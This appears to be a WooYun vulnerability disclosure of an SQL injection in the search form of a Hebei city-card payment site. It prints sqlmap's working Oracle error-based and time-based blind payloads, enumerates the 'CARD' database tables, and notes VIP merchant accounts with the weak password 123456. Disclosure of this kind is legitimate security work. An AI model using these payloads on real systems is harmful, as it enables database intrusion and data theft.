ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjIzNjwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0yMzYnKSIgIHN0eWxlPSJjb2xvcjojNjY2IiA%2BIOS4uuawkeWkp%2BiNr%2BaIvzwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7nn7PlrrbluoTluILkuJzlubPot6%2FkuI7lubPlronljZflpKfooZfkuqTlj6PljZfooYwxNTDnsbPvvIjkvbPlhpzluILlnLrljJflj6PvvIk8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7moaXkuJzljLo8L3RkPjwvdHI%2BZAIVDw8WBB4IY291bnRTcWwFQVNlbGVjdCBDb3VudCgqKSBmcm9tIHBheWRvdCAgd2hlcmUgMT0xICBhbmQgKGNpdHlpZCBpbiAoJzEnLCcwJykpHgVxdWVyeQWWAVNFTEVDVCB4eC4qIEZST00oIHNlbGVjdCBwYXlkb3QuKixyb3dfbnVtYmVyKCkgb3ZlcihvcmRlciBieSBkb3RfaWQgZGVzYylBUyBudW0gRlJPTSBwYXlkb3QgIHdoZXJlIDE9MSAgYW5kIChjaXR5aWQgaW4gKCcxJywnMCcpKSAgb3JkZXIgYnkgZG90X2lkICl4eGQWDmYPDxYCHwEFAjkzZGQCAQ8PFgIfAQUBMWRkAgIPDxYCHwEFATVkZAIDDxYCHgdWaXNpYmxlaGQCBA8WAh8FaGQCBQ9kFhQCAQ8PFgQfAQUBMR4HRW5hYmxlZGhkZAIDDw8WAh8BBQEyZGQCBQ8PFgIfAQUBM2RkAgcPDxYCHwEFATRkZAIJDw8WAh8BBQE1ZGQCCw8PFgIfBWhkZAINDw8WAh8FaGRkAg8PDxYCHwVoZGQCEQ8PFgIfBWhkZAITDw8WAh8FaGRkAgYPFgIfBWhkAgUPZBYCAgEPFgIfAQWaBzxhIGhyZWY9Li4vbmV3c3Nob3cvVmlld0hlbHBfZ3VkaW5nLmFzcHg%2FaGVscHR5cGU9VzAwMSZoZWxwaWQ9MjMwJmxhYm5hbWU95pys56uZ5aOw5piOICB0YXJnZXQ9X3BhcmVudCBjbGFzcz0ibGluayI%2B5YWs5Y%2B4566A5LuLPC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPS4uL25ld3NzaG93L1ZpZXdIZWxwX2d1ZGluZy5hc3B4P2hlbHB0eXBlPVcwMDEmaGVscGlkPTIzMSZsYWJuYW1lPeacrOermeWjsOaYjiAgdGFyZ2V0PV9wYXJlbnQgY2xhc3M9ImxpbmsiPuWVhuWKoeWQiOS9nDwvYT4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEgaHJlZj0uLi9uZXdzc2hvdy9WaWV3SGVscF9ndWRpbmcuYXNweD9oZWxwdHlwZT1XMDAxJmhlbHBpZD0yMzImbGFibmFtZT3mnKznq5nlo7DmmI4gIHRhcmdldD1fcGFyZW50IGNsYXNzPSJsaW5rIj7lkIjkvZzkvJnkvLQ8L2E%2BICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxhIGhyZWY9Li4vbmV3c3Nob3cvVmlld0hlbHBfZ3VkaW5nLmFzcHg%2FaGVscHR5cGU9VzAwMSZoZWxwaWQ9MjMzJmxhYm5hbWU95pys56uZ5aOw5piOICB0YXJnZXQ9X3BhcmVudCBjbGFzcz0ibGluayI%2B5Lq65omN5oub6IGYPC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPS4uL25ld3NzaG93L1ZpZXdIZWxwX2d1ZGluZy5hc3B4P2hlbHB0eXBlPVcwMDEmaGVscGlkPTIzNCZsYWJuYW1lPeacrOermeWjsOaYjiAgdGFyZ2V0PV9wYXJlbnQgY2xhc3M9ImxpbmsiPuiBlOezu%2BaIkeS7rDwvYT4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEgaHJlZj0nL3FxdGMvSGVCZWlDaXR5Q2FyZC5hcGsnICB0YXJnZXQ9X3BhcmVudCBjbGFzcz0ibGluayI%2B5LiL6L29QVBQPC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtkZC4DdrLMmT4trvXZ16%2F8zQnKO%2B3Uv%2Bw7UqRrpvm7EtkE&__EVENTVALIDATION=%2FwEWCQLm2P%2FrCQL%2F4uenAwLizbHrCwK0w9STDQKVnPPnAgLljIE1AuWMvcYKAuWMqesBAuWM5fwLIx7UGZM3XDYn4QnhUNUCyHR05oBoCzf57yGi9K7rNhM%3D&ctl00%24ContentPlaceHolder1%24txt_name=1&ctl00%24ContentPlaceHolder1%24txt_adress=2&ctl00%24ContentPlaceHolder1%24txt_area=3&ctl00%24ContentPlaceHolder1%24bt_chaxun=%B2%E9%D1%AF


查看泄露信息量：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ctl00$ContentPlaceHolder1$txt_name (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=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ICBhbmQgYWRkcmVzcyBsaWtlICclMiUnICBhbmQgYm91bmRuYW1lIGxpa2UgJyUzJScgIG9yZGVyIGJ5IGRvdF9pZCApeHgeB1Zpc2libGVoZBYOZg8PFgIfAQUCOTNkZAIBDw8WAh8BBQExZGQCAg8PFgIfAQUBNWRkAgMPFgIfBWhkAgQPFgIfBWhkAgUPZBYUAgEPDxYEHwEFATEeB0VuYWJsZWRoZGQCAw8PFgIfAQUBMmRkAgUPDxYCHwEFATNkZAIHDw8WAh8BBQE0ZGQCCQ8PFgIfAQUBNWRkAgsPDxYCHwVoZGQCDQ8PFgIfBWhkZAIPDw8WAh8FaGRkAhEPDxYCHwVoZGQCEw8PFgIfBWhkZAIGDxYCHwVoZAIFD2QWAgIBDxYCHwEFmgc8YSBocmVmPS4uL25ld3NzaG93L1ZpZXdIZWxwX2d1ZGluZy5hc3B4P2hlbHB0eXBlPVcwMDEmaGVscGlkPTIzMCZsYWJuYW1lPeacrOermeWjsOaYjiAgdGFyZ2V0PV9wYXJlbnQgY2xhc3M9ImxpbmsiPuWFrOWPuOeugOS7izwvYT4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEgaHJlZj0uLi9uZXdzc2hvdy9WaWV3SGVscF9ndWRpbmcuYXNweD9oZWxwdHlwZT1XMDAxJmhlbHBpZD0yMzEmbGFibmFtZT3mnKznq5nlo7DmmI4gIHRhcmdldD1fcGFyZW50IGNsYXNzPSJsaW5rIj7llYbliqHlkIjkvZw8L2E+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxhIGhyZWY9Li4vbmV3c3Nob3cvVmlld0hlbHBfZ3VkaW5nLmFzcHg/aGVscHR5cGU9VzAwMSZoZWxwaWQ9MjMyJmxhYm5hbWU95pys56uZ5aOw5piOICB0YXJnZXQ9X3BhcmVudCBjbGFzcz0ibGluayI+5ZCI5L2c5LyZ5Ly0PC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPS4uL25ld3NzaG93L1ZpZXdIZWxwX2d1ZGluZy5hc3B4P2hlbHB0eXBlPVcwMDEmaGVscGlkPTIzMyZsYWJuYW1lPeacrOermeWjsOaYjiAgdGFyZ2V0PV9wYXJlbnQgY2xhc3M9ImxpbmsiPuS6uuaJjeaLm+iBmDwvYT4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEgaHJlZj0uLi9uZXdzc2hvdy9WaWV3SGVscF9ndWRpbmcuYXNweD9oZWxwdHlwZT1XMDAxJmhlbHBpZD0yMzQmbGFibmFtZT3mnKznq5nlo7DmmI4gIHRhcmdldD1fcGFyZW50IGNsYXNzPSJsaW5rIj7ogZTns7vmiJHku6w8L2E+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxhIGhyZWY9Jy9xcXRjL0hlQmVpQ2l0eUNhcmQuYXBrJyAgdGFyZ2V0PV9wYXJlbnQgY2xhc3M9ImxpbmsiPuS4i+i9vUFQUDwvYT4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ZGQ5+vClypbgT4BD8uJkevkQfpLC7StAEANuBhZt5NDNlg==&__EVENTVALIDATION=/wEWBQKEktneAQL/4uenAwLizbHrCwK0w9STDQKVnPPnAld34uL4VAI+/JLJgDuux2SplyfucOHNzc1z48wEnppK&ctl00$ContentPlaceHolder1$txt_name=1%' AND 8830=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(113)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (8830=8830) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(98)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='&ctl00$ContentPlaceHolder1$txt_adress=2&ctl00$ContentPlaceHolder1$txt_area=3&ctl00$ContentPlaceHolder1$bt_chaxun=%B2%E9%D1%AF
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=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ICBhbmQgYWRkcmVzcyBsaWtlICclMiUnICBhbmQgYm91bmRuYW1lIGxpa2UgJyUzJScgIG9yZGVyIGJ5IGRvdF9pZCApeHgeB1Zpc2libGVoZBYOZg8PFgIfAQUCOTNkZAIBDw8WAh8BBQExZGQCAg8PFgIfAQUBNWRkAgMPFgIfBWhkAgQPFgIfBWhkAgUPZBYUAgEPDxYEHwEFATEeB0VuYWJsZWRoZGQCAw8PFgIfAQUBMmRkAgUPDxYCHwEFATNkZAIHDw8WAh8BBQE0ZGQCCQ8PFgIfAQUBNWRkAgsPDxYCHwVoZGQCDQ8PFgIfBWhkZAIPDw8WAh8FaGRkAhEPDxYCHwVoZGQCEw8PFgIfBWhkZAIGDxYCHwVoZAIFD2QWAgIBDxYCHwEFmgc8YSBocmVmPS4uL25ld3NzaG93L1ZpZXdIZWxwX2d1ZGluZy5hc3B4P2hlbHB0eXBlPVcwMDEmaGVscGlkPTIzMCZsYWJuYW1lPeacrOermeWjsOaYjiAgdGFyZ2V0PV9wYXJlbnQgY2xhc3M9ImxpbmsiPuWFrOWPuOeugOS7izwvYT4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEgaHJlZj0uLi9uZXdzc2hvdy9WaWV3SGVscF9ndWRpbmcuYXNweD9oZWxwdHlwZT1XMDAxJmhlbHBpZD0yMzEmbGFibmFtZT3mnKznq5nlo7DmmI4gIHRhcmdldD1fcGFyZW50IGNsYXNzPSJsaW5rIj7llYbliqHlkIjkvZw8L2E+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxhIGhyZWY9Li4vbmV3c3Nob3cvVmlld0hlbHBfZ3VkaW5nLmFzcHg/aGVscHR5cGU9VzAwMSZoZWxwaWQ9MjMyJmxhYm5hbWU95pys56uZ5aOw5piOICB0YXJnZXQ9X3BhcmVudCBjbGFzcz0ibGluayI+5ZCI5L2c5LyZ5Ly0PC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPS4uL25ld3NzaG93L1ZpZXdIZWxwX2d1ZGluZy5hc3B4P2hlbHB0eXBlPVcwMDEmaGVscGlkPTIzMyZsYWJuYW1lPeacrOermeWjsOaYjiAgdGFyZ2V0PV9wYXJlbnQgY2xhc3M9ImxpbmsiPuS6uuaJjeaLm+iBmDwvYT4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEgaHJlZj0uLi9uZXdzc2hvdy9WaWV3SGVscF9ndWRpbmcuYXNweD9oZWxwdHlwZT1XMDAxJmhlbHBpZD0yMzQmbGFibmFtZT3mnKznq5nlo7DmmI4gIHRhcmdldD1fcGFyZW50IGNsYXNzPSJsaW5rIj7ogZTns7vmiJHku6w8L2E+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxhIGhyZWY9Jy9xcXRjL0hlQmVpQ2l0eUNhcmQuYXBrJyAgdGFyZ2V0PV9wYXJlbnQgY2xhc3M9ImxpbmsiPuS4i+i9vUFQUDwvYT4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ZGQ5+vClypbgT4BD8uJkevkQfpLC7StAEANuBhZt5NDNlg==&__EVENTVALIDATION=/wEWBQKEktneAQL/4uenAwLizbHrCwK0w9STDQKVnPPnAld34uL4VAI+/JLJgDuux2SplyfucOHNzc1z48wEnppK&ctl00$ContentPlaceHolder1$txt_name=1%' AND 6855=DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(106)||CHR(75)||CHR(79),5) AND '%'='&ctl00$ContentPlaceHolder1$txt_adress=2&ctl00$ContentPlaceHolder1$txt_area=3&ctl00$ContentPlaceHolder1$bt_chaxun=%B2%E9%D1%AF
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Oracle
Database: CARD
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| WEBSERVICE_LOG       | 144567  |
| SMSHISTORY           | 39560   |
| CCBCARD              | 17474   |
| YKT_CZ_RECORD        | 15731   |
| VAR_LOG              | 8754    |
| WEBNOTIFY_LOG        | 7208    |
| CARD_HOLDER          | 4920    |
| CARD_LIST            | 3648    |
| DOT_IMGLIST          | 1118    |
| CONSUME_DOT          | 1034    |
| BUSINESS_TRADETYPE   | 995     |
| BUSINESS             | 942     |
| HOT_BUSINESS         | 481     |
| DOT_TRADEBOUND       | 350     |
| HUODONG1             | 283     |
| VAR_ROLECONFIG       | 246     |
| TRADE_ORDER          | 212     |
| DAKEHUGOUKA          | 211     |
| XIANQU               | 180     |
| VIP_USERDEPT         | 148     |
| VIP_USER             | 143     |
| VIP_USER_RELATION    | 140     |
| PAYDOT               | 128     |
| SYSTEM_MSG           | 123     |
| CARD_MEMORY_ETC_USER | 105     |
| CARD_MEMORY_LY       | 104     |
| VAR_PERSONNELRULE    | 103     |
| VAR_MENU             | 87      |
| SYSTEM_HELP          | 77      |
| CARD_MEMORY_LY_USER  | 63      |
| PWD_QUESTION         | 59      |
| USER_BUSINESS        | 53      |
| PRODUCT_LIST         | 50      |
| BIGDISCOUNT          | 48      |
| TRADE_BOUND          | 48      |
| CARD_MEMORY_TK_USER  | 43      |
| CARD_MEMORY_ETC      | 41      |
| FRIENDS              | 38      |
| TRADE_TYPE           | 33      |
| CHANGEIMG            | 32      |
| VAR_PERSONNELINFO    | 30      |
| SIGN                 | 26      |
| SYSTEM_LINKS         | 24      |
| CARD_MEMORY_TK       | 20      |
| COMMENTS             | 17      |
| USER_VOUCHER         | 17      |
| HELP_TYPE            | 14      |
| BRANCH               | 13      |
| VAR_ROLE             | 13      |
| CARD_MEMORY_TK2      | 12      |
| VAR_DEPT             | 12      |
| CARD_MEMORY_TK_USER2 | 11      |
| CITY                 | 11      |
| PRODUCT_TYPE         | 11      |
| APPLY_INFO           | 8       |
| CUSTOMERHISTORY      | 6       |
| IMAGELH              | 6       |
| CARDLOG              | 4       |
| CARDTYPE             | 4       |
| ERROR                | 4       |
| LATESTACT            | 4       |
| PARVALUE             | 4       |
| SCOREADV             | 4       |
| VIP_RELATION_MAP     | 4       |
| MSG_TYPE             | 3       |
| ZHIFUCFG             | 3       |
| ACTIVITY_INFO        | 2       |
| SYSTEM_AD            | 2       |
| BASEINFO             | 1       |
| BLACKLIST            | 1       |
| CHOUJIANG            | 1       |
| FOBBIDENCARDSECTIONS | 1       |
| NEWCCBCARD           | 1       |
| SEO                  | 1       |
| SYSTEM_VOTECFG       | 1       |
| USER_IDENTITY_PHOTO  | 1       |
| VOUCHER              | 1       |
+----------------------+---------+


泄露多个VIP合作商户的账户，万达也在这里，又现123456弱口令

w.jpg


修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝